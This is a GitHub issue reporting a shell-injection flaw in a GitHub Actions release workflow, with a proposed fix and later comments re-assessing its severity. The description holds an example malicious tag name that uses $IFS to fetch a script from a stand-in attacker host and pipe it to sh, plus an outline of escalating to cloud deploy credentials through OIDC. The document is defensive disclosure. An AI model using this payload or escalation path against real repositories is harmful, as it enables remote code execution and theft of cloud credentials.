Repository navigation
sec(ci): deploy-aws-lambda.yml interpolates a release tag name into a run block in an ungated job holding id-token write #1649
Description
Found during the #1542 sweep of .github/workflows/. Structurally identical to #1542: a raw interpolation of an attacker-influenceable value into a run: block, inside a job that holds id-token: write and has no environment: binding. Labelled to match #1542 accordingly.
Where
.github/workflows/deploy-aws-lambda.yml
:26—permissions: id-token: writeat workflow level:56-57—release: types: [created]trigger:82—preparejob. Noenvironment:binding. Line:86isenvironment: ${{ steps.set-env.outputs.environment }}underoutputs:— that is an output namedenvironment, not an environment binding. Easy to misread; it does not gate anything.:107— the defect:
echo "tag=${{ github.event.release.tag_name }}" >> $GITHUB_OUTPUTWhat
github.event.release.tag_name is a git tag name. git check-ref-format forbids spaces, ~, ^, :, ?, *, [, \ and control characters — but it permits ;, $, `, (, ), &, |, <, >, !, ' and ". So a tag named:
v1.0.0;curl$IFS-s$IFS'https://attacker/x'|sh;
is a valid ref, and cutting a release on it substitutes that text into the shell source of :107 before bash parses it. The absence of spaces is not a barrier — $IFS and brace expansion cover it.
The value additionally flows into $GITHUB_OUTPUT unescaped, so a tag containing a newline-equivalent could also poison the image_tag output consumed by build-and-deploy.
Why it matters
prepare inherits id-token: write from :26 and has no environment binding, so injected code there can mint an OIDC token. terraform/environments/aws/ci-cd-permissions/role.tf:29 accepts the subject repo:<org/repo>:ref:refs/heads/main independently of the environment:* subjects, so that token assumes cudly-terraform-deploy — the full production deploy role — without passing any reviewer gate.
This is the exact mechanism #1542 described, reached through a different trigger.
Precondition: creating a release requires write access to the repo. That is the same trust boundary #1542 had (dispatching a workflow also requires write access), so it is not a mitigation so much as a restatement of the threat model: a write-access user, or a compromised token/account with write access, escalates to production cloud credentials with no approval step.
Fix
Same shape as PR #1641:
- name: Set image tag
id: set-tag
env:
EVENT_NAME: ${{ github.event_name }}
RELEASE_TAG: ${{ github.event.release.tag_name }}
SHA: ${{ github.sha }}
run: |
set -euo pipefail
if [ "$EVENT_NAME" = "release" ]; then
TAG="$RELEASE_TAG"
else
TAG="$SHA"
fi
# Registry-safe charset, same guard rollback.yml now applies to image_tag.
if [[ ! "$TAG" =~ ^[a-zA-Z0-9._-]+$ ]]; then
echo "::error::Refusing unsafe tag: $TAG"
exit 1
fi
echo "tag=$TAG" >> "$GITHUB_OUTPUT"Also drop id-token: write from workflow level to only the jobs that authenticate, per the same change in #1641.
Note ${{ github.event_name }} and ${{ github.sha }} are also interpolated raw in this job (:93-101, :109); both are GitHub-generated and not attacker-settable, so they are hygiene rather than vulnerability — but moving them at the same time keeps the file consistent.
Scope
github.actor is interpolated into run: blocks at deploy-aws-fargate.yml:185, deploy-aws-lambda.yml:220, deploy-azure.yml:249 and deploy-gcp.yml:159. GitHub usernames are constrained to [A-Za-z0-9-], so those are not injectable and are listed here only so a reader does not re-flag them.
Related: #1542 / PR #1641 (same class, rollback.yml), #1647 (same class, database-migration.yml), #1591 (missing environment bindings), #1646 (no workflow linter, which is why none of these were caught).
Activity
cristim commentedon Jul 28, 2026
Correction to the escalation claimed in this issue. Independent review of PR #1657 found the chain does not connect, and I verified it. Recording here so the issue does not keep asserting something unreachable.
What this issue claimed: RCE in the ungated
preparejob → mint an OIDC token → assumecudly-terraform-deployviarepo:<org>/<repo>:ref:refs/heads/main(role.tf:29).Why it does not connect: the payload only executes on a
releaseevent, and on a release eventGITHUB_REFisrefs/tags/<tag>. So the ungated job's OIDC subject isrepo:LeanerCloud/CUDly:ref:refs/tags/<tag>, which matches none ofrole.tf's four entries (ref:refs/heads/main+environment:{dev,staging,prod}). Verified:gh api repos/LeanerCloud/CUDly/actions/oidc/customization/sub→use_default: true, so the default subject template is in force and the ref-based sub is what gets minted.assertion.ref == 'refs/heads/main'(github_oidc.tf:37); Azure allows onlymainandpull_request(sp.tf:37,48).What is actually reachable — still worth the p0 label:
prepare, under that job'sGITHUB_TOKEN.$GITHUB_OUTPUT.prepare's outputs are consumed bybuild-and-deployandtest-deployment, both of which holdid-token: write. Controlling what two credentialed jobs read is the real prize, and it is what PR fix(ci): stop interpolating the release tag into a run block #1657's guard now protects.Honest caveat on severity: cutting a release already requires write access, and this repo's
mainis unprotected (gh api .../branches/main/protection→ 404). A write-capable attacker could push tomainand get theref:refs/heads/mainsubject directly, no injection required. So the marginal capability this bug hands an attacker who already has write access is small. Still worth fixing — the$GITHUB_OUTPUTpath into credentialed jobs is real, and defence in depth — but the "escalates to the full production deploy role" framing was wrong.I am not downgrading the label unilaterally, since the RCE and the credentialed-output path are both genuine; flagging it so whoever triages can decide whether p0/critical still fits given the write-access precondition and the unprotected
main.Note the branch-protection observation is itself worth acting on independently: an unprotected
maincombined with a trust policy that acceptsref:refs/heads/mainmeans write access is equivalent to production deploy credentials, with or without this bug. That is broader than #1649 and overlaps #1591 / LeanerCloud/cloud-commitments-platform#140 / LeanerCloud/cloud-commitments-platform#141.cristim commentedon Aug 3, 2026
Re-triage: p0/critical → p2
An independent adversarial review of PR #1657 examined this issue's escalation chain. Two corrections, one of which reverses an earlier assessment recorded against this issue.
Correction 1 — the chain IS reachable
An earlier review concluded the chain was unreachable because a release event presents
ref:refs/tags/<tag>, which matches no entry in the AWS OIDC trust allowlist. That is wrong for this workflow. Both credentialed jobs indeploy-aws-lambda.ymlareenvironment:-bound, and an environment-bound job's OIDCsubisrepo:O/R:environment:<name>— not the ref form. On a release,target_environment=prod, so the subject isrepo:LeanerCloud/CUDly:environment:prod, which is an allowlist entry (terraform/environments/aws/ci-cd-permissions/role.tf).The PR's own inline comment stated this correctly; the earlier review contradicted the code it was reviewing. Recording it here so "unreachable" does not propagate further.
Correction 2 — the severity still collapses, for a stronger reason
The escalation does not cross a privilege boundary, because there is no boundary to cross:
mainis not protected. Classic branch protection returns 404 "Branch not protected" (verified with anadmin:truetoken, so not a scope artifact). The only active ruleset contributes["deletion", "non_fast_forward"]— no required PR, no required reviews. There is noCODEOWNERSfile.repo:<org>/<repo>:ref:refs/heads/mainis itself an allowlist entry.So an actor with write access can push a workflow edit directly to
mainand mint AWS deploy credentials outright. The tag-injection path grants strictly less than that actor already holds.Additionally,
git check-ref-formatrejects both newline and tab in ref names (verified locally), so a control-character tag cannot exist as a git ref, and GitHub creates the ref when a release is created. GitHub's API-side validation was not proven — doing so would mean creating a real release on the live repo — so treat that as strongly indicative rather than proven.Also relevant to urgency: the repository has zero remote tags and zero GitHub releases. The release path has never fired.
What the real residual is
RCE-on-runner plus the ability to write arbitrary
$GITHUB_OUTPUTkeys consumed by two credentialed jobs — gated behind write access that already suffices for more. Genuine, worth the fix in #1657, but not p0.The larger exposure this surfaced
That
mainis effectively unprotected whileref:refs/heads/mainis a trusted OIDC subject for the AWS deploy role is a bigger exposure than this issue describes, and it compounds with LeanerCloud/cloud-commitments-platform#139 (no Environment carries required reviewers) so that a release auto-deploys to prod with AWS credentials and no human gate. That is being tracked separately rather than folded in here.Label change
priority/p0 → p2,severity/critical → medium,urgency/now → this-sprint. Keepingtype/securityandimpact/*as-is. The fix in #1657 still merges.Leaving the original issue text intact; this comment is the correction of record.
fix(ci): stop interpolating the release tag into a run block
fix(ci): stop interpolating the release tag into a run block (#1657)
chore(ci): gate workflows on actionlint and zizmor (#1870)
fix(ci): stop interpolating the release tag into a run block (#1657)
chore(ci): gate workflows on actionlint and zizmor (#1870)